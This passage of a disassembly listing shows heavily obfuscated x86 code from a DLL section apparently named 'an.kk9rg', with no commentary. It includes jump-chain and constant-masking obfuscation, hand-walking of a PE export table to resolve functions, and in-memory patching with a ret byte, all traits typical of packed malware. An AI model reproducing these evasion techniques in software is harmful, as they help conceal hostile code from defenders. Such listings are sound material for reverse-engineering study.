FUNCTION CHUNK FOR sub_1001504E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D50B loc_100198B2: ; CODE XREF: sub_1001D50B-9EE8j jmp sub_1001CC01 ; END OF FUNCTION CHUNK FOR sub_1001D50B ; --------------------------------------------------------------------------- loc_100198B7: ; CODE XREF: an.kk9rg:1001AB44j push 0E0D1C879h pop eax rol eax, 1Fh xor eax, 1D014698h or eax, 0E25CEB86h jmp loc_1001434F ; --------------------------------------------------------------------------- loc_100198D1: ; CODE XREF: an.kk9rg:loc_1001C7F6j pop eax pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_100198D4: ; CODE XREF: sub_10019409-2B4Ej jmp loc_100155CC ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- loc_100198D9: ; CODE XREF: an.kk9rg:10014796j jmp loc_1001C641 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_10015C42 ; =============== S U B R O U T I N E ======================================= sub_100198E6 proc near ; CODE XREF: an.kk9rg:1001B5DEj ; sub_10013389+90ECp ; FUNCTION CHUNK AT 1001578D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AA15 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D271 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi jnz loc_1001D271 jmp loc_1001578D sub_100198E6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A12F loc_100198F5: ; CODE XREF: sub_1001A12F:loc_1001C7B0j mov eax, [ebp+8] jmp loc_10014E0D ; END OF FUNCTION CHUNK FOR sub_1001A12F ; --------------------------------------------------------------------------- loc_100198FD: ; DATA XREF: sub_1001564A:loc_100155D5o mov ebx, [eax+18h] mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] push offset sub_10019C9D jmp locret_10014569 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10019911: ; CODE XREF: sub_10018066+5346j mov ecx, 9C32BF53h sbb edi, eax jmp loc_10015EE8 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001991D: ; CODE XREF: sub_10013389:loc_1001569Ej push eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h setz al loc_1001992B: ; CODE XREF: an.kk9rg:loc_1001DE42j call sub_100182D9 pop ecx loc_10019931: ; CODE XREF: sub_10017CF8:loc_1001381Ej shl eax, 7 push offset sub_1001D260 jmp loc_100184D1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001993E: ; CODE XREF: sub_1001B5A3:loc_100192E6j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10019940: ; CODE XREF: sub_100153B8+4750j jmp loc_1001DCE6 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- push edi mov edi, ebp call sub_1001AC73 ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001994D: ; CODE XREF: sub_1001C2A9:loc_1001D45Cj jnz sub_1001D43B jmp loc_1001B12B ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015276 loc_10019958: ; CODE XREF: sub_10015276:loc_100187ACj jz loc_10015660 loc_1001995E: ; CODE XREF: an.kk9rg:10018B8Bj jmp loc_10018D68 ; END OF FUNCTION CHUNK FOR sub_10015276 ; --------------------------------------------------------------------------- adc esi, 0B0922199h jmp loc_1001565D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_1001996F: ; DATA XREF: sub_10017811+Bo or eax, eax jnz loc_100140B1 jmp loc_1001C1AC ; =============== S U B R O U T I N E ======================================= sub_1001997C proc near ; CODE XREF: sub_1001D43B-5A61j ; an.kk9rg:1001D9C7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10013889 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 10014020 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018BFB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10018E74 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001922F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 1001A0A3 SIZE 0000000A BYTES xchg esi, [esp+0] pop esi jmp loc_10018E74 sub_1001997C endp ; sp-analysis failed ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10019986: ; CODE XREF: sub_10019595+442Dj push edi jmp loc_10018AD2 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001543A loc_1001998C: ; CODE XREF: sub_1001543A+10j add ebx, 90CCD314h xor ebx, 0AE961998h ; END OF FUNCTION CHUNK FOR sub_1001543A ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019998: ; CODE XREF: sub_10013389:loc_1001D0E5j and ebx, 7CE9DAD7h push offset loc_1001AC1C jmp nullsub_164 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100199A8: ; CODE XREF: an.kk9rg:loc_1001A444j jnz loc_10018CE7 jmp loc_10014774 ; --------------------------------------------------------------------------- loc_100199B3: ; CODE XREF: an.kk9rg:10015548j and esi, edi ; =============== S U B R O U T I N E ======================================= sub_100199B5 proc near ; CODE XREF: sub_1001C799:loc_1001C65Dp ; FUNCTION CHUNK AT 1001B393 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx add ebx, 73FFE008h mov [ebx], eax pop ebx jmp loc_1001B393 sub_100199B5 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_78. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_100199C8: ; CODE XREF: sub_100173FA+31D3j jmp nullsub_119 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_100199CD: ; CODE XREF: sub_1001CF40-833Ej jmp loc_10014501 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- loc_100199D2: ; CODE XREF: an.kk9rg:loc_100180D4j jnz loc_10017DD3 jmp loc_100141A3 ; --------------------------------------------------------------------------- loc_100199DD: ; DATA XREF: sub_100194EA+2160o jnz loc_10018D00 mov eax, [ebp-20h] mov byte ptr [eax], 64h call sub_1001B319 ; START OF FUNCTION CHUNK FOR sub_1001AE41 loc_100199EE: ; CODE XREF: sub_1001AE41+Ej jmp loc_1001B342 ; END OF FUNCTION CHUNK FOR sub_1001AE41 ; --------------------------------------------------------------------------- loc_100199F3: ; CODE XREF: an.kk9rg:10013824j mov edx, ebp xchg edx, [esp] mov ebp, esp push ebx mov ebx, ecx xchg ebx, [esp] push ebp mov ebp, edx jmp loc_1001C47F ; --------------------------------------------------------------------------- jmp ds:dword_10002038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10019A0E: ; CODE XREF: sub_100142E8+9415j jmp loc_10017A6E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- loc_10019A13: ; CODE XREF: an.kk9rg:10016189j jmp loc_100160B5 ; --------------------------------------------------------------------------- loc_10019A18: ; CODE XREF: an.kk9rg:10014A23j jmp loc_10018787 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013916 loc_10019A1D: ; CODE XREF: sub_10013916+1Aj jmp loc_1001D4F4 ; END OF FUNCTION CHUNK FOR sub_10013916 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10019A22: ; CODE XREF: sub_10015E0D-25FFj jmp sub_1001B2A9 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test [ebp+5A00002Bh], al push offset loc_10014719 jmp locret_1001A17F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_10019A38: ; CODE XREF: sub_100175DE-2CC8j sbb edi, 0C32D9425h ror ebp, 0Fh loc_10019A41: ; CODE XREF: an.kk9rg:loc_10016B3Aj push 7FF7C2E7h pop eax rol eax, 7 jmp loc_10016F19 ; END OF FUNCTION CHUNK FOR sub_100175DE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10019A50: ; CODE XREF: an.kk9rg:1001CB5Cj jmp locret_1001A443 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_10019A55: ; CODE XREF: sub_10014DD9+19j cmp eax, 5D61F90Dh jmp loc_100148E5 ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_10019A60: ; CODE XREF: sub_10017BF9-1B49j jp loc_1001C7FD jnz sub_100137D6 jmp loc_1001DF17 ; --------------------------------------------------------------------------- loc_10019A71: ; CODE XREF: sub_10017BF9:loc_10014C67j sub al, 99h push 9FA6D9A8h pop edx xor edx, 472CE458h and edx, 0EF110723h jmp loc_1001A872 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_10019A8B: ; CODE XREF: an.kk9rg:100164C3j jmp loc_10018BA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_10019A90: ; CODE XREF: sub_10013999+10j jmp loc_1001B6C8 ; END OF FUNCTION CHUNK FOR sub_10013999 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10019A95 proc near ; CODE XREF: sub_10016532+8p ; an.kk9rg:10018701j ; FUNCTION CHUNK AT 10014065 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001B8C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C42B SIZE 00000022 BYTES push ebp mov ebp, esp push ecx jmp loc_1001B8C7 sub_10019A95 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_10019A9E: ; CODE XREF: sub_1001A365+1060j pop edi xor edi, 12612B7Ah or edi, ds:100000C2h add edi, 5001D3DDh mov [edi], edx pop edi jmp loc_1001CDB3 ; END OF FUNCTION CHUNK FOR sub_1001A365 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_10019AB9: ; CODE XREF: sub_1001498A:loc_1001D9D1j movzx eax, word ptr [eax] shl eax, 2 mov edx, [ebp-14h] mov edx, [edx+1Ch] jmp loc_100153A6 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100145ED loc_10019ACA: ; CODE XREF: sub_100145ED+Ej push 0CABF2A2h pop edx sub edx, 33F9C1BBh and edx, 6F428390h cmp edx, 0B85D4EA8h jmp loc_10015C3D ; END OF FUNCTION CHUNK FOR sub_100145ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10019AE7: ; CODE XREF: sub_100153B8:loc_10018B40j push 9E478DC6h pop eax or eax, 955A6AF2h add eax, 383131C2h and eax, 8393940Dh rol eax, 17h add eax, 0BBFD3DCh jmp loc_10019940 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; =============== S U B R O U T I N E ======================================= sub_10019B0D proc near ; CODE XREF: sub_10016167:loc_100169FAp ; an.kk9rg:1001C8FBj ... arg_0 = dword ptr 4 xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] mov ecx, esi xchg edx, [esp-4+arg_0] mov esi, edx pop edx push offset loc_1001CFC8 jmp nullsub_52 sub_10019B0D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C6B0 loc_10019B26: ; CODE XREF: sub_1001C6B0:loc_10016432j xchg esi, [eax] jmp loc_10014F4E ; END OF FUNCTION CHUNK FOR sub_1001C6B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019B2D: ; CODE XREF: sub_1001564A-D3j ; sub_1001564A:loc_100155DFj xor eax, 86F9E148h rol eax, 2 or eax, 61103AD3h xor eax, 0A5F3B652h add eax, ebp jmp loc_100197CE ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- and ebp, 24BEDFE7h jmp sub_10014B3A ; --------------------------------------------------------------------------- shr edx, 1 jmp loc_10017393 ; --------------------------------------------------------------------------- loc_10019B5B: ; CODE XREF: an.kk9rg:10018EF3j xor edx, 0C27FC5A5h add edx, ebp add edx, 790956BAh mov edx, [edx] call sub_1001767A ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_10019B70: ; CODE XREF: sub_1001C799+Bj jmp loc_100189F6 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10019B75: ; CODE XREF: sub_1001A97E-320Dj ; sub_1001B45F:loc_1001CAAEj jmp loc_1001845C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- xchg ebx, edx popf jmp sub_10019423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10019B82: ; CODE XREF: sub_1001C8CE:loc_10016E86j popf adc esi, 5240C569h adc eax, 0ACFE26F3h jmp loc_10018C28 ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; --------------------------------------------------------------------------- loc_10019B94: ; CODE XREF: an.kk9rg:1001B66Ej mov [esi], edi ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_10019B96: ; CODE XREF: sub_1001CEDD+11j add ecx, 11BEF5AAh and ecx, 0FAE4D03Fh add ecx, 1F201019h mov [ecx], eax pop ecx lea eax, nullsub_76 jmp loc_10017DDE ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; =============== S U B R O U T I N E ======================================= sub_10019BB6 proc near ; CODE XREF: an.kk9rg:100144EAj ; sub_1001CC4A+18p xchg esi, [esp+0] pop esi mov edx, 0A2CD59D9h call sub_1001DECE mov ds:dword_1001BC9C, eax retn sub_10019BB6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10019BCA: ; CODE XREF: sub_1001D88D:loc_1001D229j call sub_1001DD8B loc_10019BCF: ; CODE XREF: an.kk9rg:1001C9D1j jmp loc_10014B6D ; END OF FUNCTION CHUNK FOR sub_1001D88D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019BD4: ; CODE XREF: sub_10013389:loc_10018D34j imul byte ptr [edx] cmp al, 0A4h jnz loc_100189C3 jmp loc_1001A867 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- jmp loc_100189C3 ; --------------------------------------------------------------------------- or edx, 0BB261C63h sbb ebx, 0FC9ED4F1h jmp sub_10015DDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017EFB loc_10019BF9: ; CODE XREF: sub_10017EFB+54C3j ; an.kk9rg:loc_1001D3EEj push offset sub_1001C9F8 jmp nullsub_211 ; END OF FUNCTION CHUNK FOR sub_10017EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10019C03: ; CODE XREF: sub_100136D7+20A9j popf loc_10019C04: ; CODE XREF: sub_100136D7:loc_1001B92Aj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001D92D jmp loc_10013A5F ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10019C15: ; CODE XREF: an.kk9rg:1001741Cj jz loc_1001B9EA xchg ecx, edx ; =============== S U B R O U T I N E ======================================= sub_10019C1D proc near ; CODE XREF: sub_10016D66+1111p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001A641 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx xchg ecx, [esp-4+arg_0] jmp loc_1001A641 sub_10019C1D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C758 loc_10019C29: ; CODE XREF: sub_1001C758:loc_1001C76Dj call sub_10018C4D loc_10019C2E: ; CODE XREF: an.kk9rg:1001CAF7j jl loc_10018910 ; END OF FUNCTION CHUNK FOR sub_1001C758 ; =============== S U B R O U T I N E ======================================= sub_10019C34 proc near ; CODE XREF: sub_100175DE:loc_1001DA78p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 100174D2 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C129 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001C3C9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 1001CBEB SIZE 00000016 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] jmp loc_10017DBE sub_10019C34 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10019C40: ; CODE XREF: sub_10019595:loc_10016B5Ej ; an.kk9rg:10016B76j call sub_1001D190 loc_10019C45: ; CODE XREF: an.kk9rg:1001D8A9j jmp nullsub_154 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019C4A: ; CODE XREF: sub_1001537B-6B8j jmp loc_1001AB30 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141E3 loc_10019C4F: ; CODE XREF: sub_100141E3+Dj jmp loc_1001C0CC ; END OF FUNCTION CHUNK FOR sub_100141E3 ; --------------------------------------------------------------------------- shl ecx, 4 jmp loc_1001646E ; --------------------------------------------------------------------------- push eax call sub_10014DF8 mov edx, [ebp+8] mov eax, [edx] add edx, 4 mov edx, [edx] jmp loc_1001AD89 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10019C71: ; CODE XREF: sub_10015988+47DAj ja loc_1001C85B xchg ebp, edx pushf ; END OF FUNCTION CHUNK FOR sub_10015988 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019C7A: ; CODE XREF: sub_10013389:loc_100141D8j ; sub_10015988-108Aj ... jmp loc_1001C3B7 ; --------------------------------------------------------------------------- loc_10019C7F: ; CODE XREF: sub_10013389+187j ; sub_10015988+2CF1j xchg ebp, [esp+4+var_4] jmp loc_10013814 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_10019C87 proc near ; CODE XREF: sub_10013389:loc_10014325p ; an.kk9rg:1001C404j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013198 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C0B6 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax lea eax, loc_100180E8 push ecx mov ecx, eax xchg ecx, [esp+4+var_4] jmp loc_10013198 sub_10019C87 endp ; =============== S U B R O U T I N E ======================================= sub_10019C9D proc near ; DATA XREF: an.kk9rg:10019907o or ecx, ecx jz loc_1001B6F5 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_1001B6F5 mov edx, [ebx+ecx] xor edx, [ebx+ecx+4] jmp loc_1001B6E9 sub_10019C9D endp ; --------------------------------------------------------------------------- loc_10019CBD: ; CODE XREF: an.kk9rg:1001710Ej pop eax xchg eax, [esp] call sub_1001A024 adc eax, 5C8994C7h jmp loc_10015B53 ; =============== S U B R O U T I N E ======================================= sub_10019CD1 proc near ; CODE XREF: an.kk9rg:100131B4j ; sub_10019409:loc_100166C8p xchg esi, [esp+0] pop esi mov ebp, esp push ecx cmp ds:dword_10019654, 0 call sub_10015A4A loc_10019CE4: ; CODE XREF: an.kk9rg:1001B208j jmp nullsub_53 sub_10019CD1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10019CE9: ; CODE XREF: sub_100180C2-2D8Dj jmp loc_1001873A ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_10019CEE: ; CODE XREF: sub_10017667+Cj add eax, 0EAA38740h ; END OF FUNCTION CHUNK FOR sub_10017667 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019CF4: ; CODE XREF: sub_1001564A+BE3j mov eax, [eax] popf mov al, [eax] jns loc_10017142 sub al, 99h mov edx, [ebp-4] jmp loc_1001A180 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_10019D09: ; CODE XREF: sub_10013688+14j mov eax, [ebp+8] push eax cmp dword ptr [ebp-14h], 5 setz al call sub_100182D9 pop ecx shl eax, 3 jmp loc_1001D8D4 ; END OF FUNCTION CHUNK FOR sub_10013688 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov edi, [ecx] jmp sub_100152C7 ; --------------------------------------------------------------------------- mov ecx, 27E9360Ch jmp sub_10015FC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AAE3 loc_10019D34: ; CODE XREF: sub_1001AAE3+3j push ecx push ecx push 8CB44669h pop ecx add ecx, 7CBDA63Fh push offset loc_10019DD6 jmp nullsub_66 ; END OF FUNCTION CHUNK FOR sub_1001AAE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019D4C: ; CODE XREF: sub_10016167-AE2j jnb loc_10018ADA loc_10019D52: ; CODE XREF: an.kk9rg:10014AD8j xor ecx, 0F67A53ADh loc_10019D58: ; CODE XREF: sub_10016167:loc_10018664j push 4CAEAACEh pop eax jmp loc_10015D13 ; END OF FUNCTION CHUNK FOR sub_10016167 ; =============== S U B R O U T I N E ======================================= sub_10019D63 proc near ; DATA XREF: an.kk9rg:loc_100178BFo mov byte ptr [eax], 0C3h jmp nullsub_196 sub_10019D63 endp ; --------------------------------------------------------------------------- call nullsub_98 jmp ds:dword_10002024 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10019D76: ; CODE XREF: sub_10019571+4227j jmp loc_10014DB8 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10019D7B: ; CODE XREF: sub_1001564A+1B6Dj jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_1001564A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jns loc_1001A7A8 mov eax, [esp] jmp loc_10013FF4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- xor eax, ecx sbb ecx, edx ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10019D94: ; CODE XREF: sub_10013389:loc_100133FEj jmp sub_1001D392 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_10019D99: ; CODE XREF: sub_1001B45F+19j mov eax, [ebp-4] call sub_1001B2CC loc_10019DA1: ; CODE XREF: sub_1001A606-6190j jmp loc_1001D0DA ; END OF FUNCTION CHUNK FOR sub_1001B45F ; --------------------------------------------------------------------------- loc_10019DA6: ; CODE XREF: an.kk9rg:10014C62j jbe loc_1001A36E ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019DAC: ; CODE XREF: sub_10016167+3C97j or ebx, 45077F19h add ebx, 8A708085h xchg ebx, [esp+0] ; END OF FUNCTION CHUNK FOR sub_10016167 ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10019DBB: ; CODE XREF: sub_1001C28F-4536j call sub_100140A5 push ebx push 3D7B25h pop ebx jmp loc_1001D494 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DECE loc_10019DCC: ; CODE XREF: sub_1001DECE+9j push offset sub_10018E91 jmp nullsub_176 ; END OF FUNCTION CHUNK FOR sub_1001DECE ; --------------------------------------------------------------------------- loc_10019DD6: ; DATA XREF: sub_1001AAE3-DA1o xor ecx, 27EEB44Ch add ecx, ebp add ecx, 0D160A718h mov [ecx], eax pop ecx pushf push 0B8F9B030h jmp loc_10014D1A ; --------------------------------------------------------------------------- loc_10019DF2: ; CODE XREF: an.kk9rg:100189B4j jg loc_100133FE ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10019DF8: ; CODE XREF: sub_10016167+56ACj and ebx, 35EE3A6Eh jns loc_10019DAC loc_10019E04: ; CODE XREF: sub_10015E0D+7E3j jmp loc_1001C8D9 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- jno loc_1001600F popf mov edx, eax jmp loc_10014C5F ; =============== S U B R O U T I N E ======================================= sub_10019E17 proc near ; CODE XREF: sub_1001C8CE-3A21p ; an.kk9rg:1001BA8Dj ; FUNCTION CHUNK AT 10014A5A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001539C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100174BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001829E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001960E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A55B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 1001A5A1 SIZE 00000009 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_1001A55B jmp loc_1001829E sub_10019E17 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_106. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10019E2E proc near ; CODE XREF: sub_10013372:loc_100148EAj ; FUNCTION CHUNK AT 10013255 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 1001363E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10014001 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10014EFF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10014FB3 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 100176DA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001816E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 100183F7 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018498 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A656 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001A676 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001BB25 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001CDE2 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001D1AC SIZE 00000024 BYTES push ebx push 0E13FCB92h pop ebx add ebx, 0B560429Ah rol ebx, 1Dh jmp loc_10014FB3 sub_10019E2E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10019E43: ; CODE XREF: sub_1001893F:loc_100156A4j jnz loc_10017CD7 jmp loc_10017C7F ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10019E4E: ; DATA XREF: sub_1001564A+1B68o mov eax, [eax] push eax push 28h push 478FE7Eh pop eax and eax, 0ED41380Fh or eax, 3EA8FF59h add eax, 75042BAEh jmp loc_10015F7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_10019E70: ; CODE XREF: sub_10015131+A2j or esi, 62F3A6Fh loc_10019E76: ; CODE XREF: sub_10015131:loc_100169B0j call sub_100180C2 mov edx, 0DD5E106Fh call sub_1001534D jmp loc_100141C8 ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_10019E8A: ; CODE XREF: sub_10013061+9CA1j jge loc_100149E1 loc_10019E90: ; CODE XREF: an.kk9rg:100160E5j jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- push ebp jmp loc_100149DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_10019E9B: ; CODE XREF: sub_1001C535:loc_1001B97Dj jz loc_10014345 jmp loc_1001C8EE ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10019EA6: ; CODE XREF: sub_1001537B:loc_1001472Fj jge loc_1001776B shl ebx, 10h mov esi, 0BFAF196Dh test edx, 4A1E413Eh jmp loc_100155BA ; END OF FUNCTION CHUNK FOR 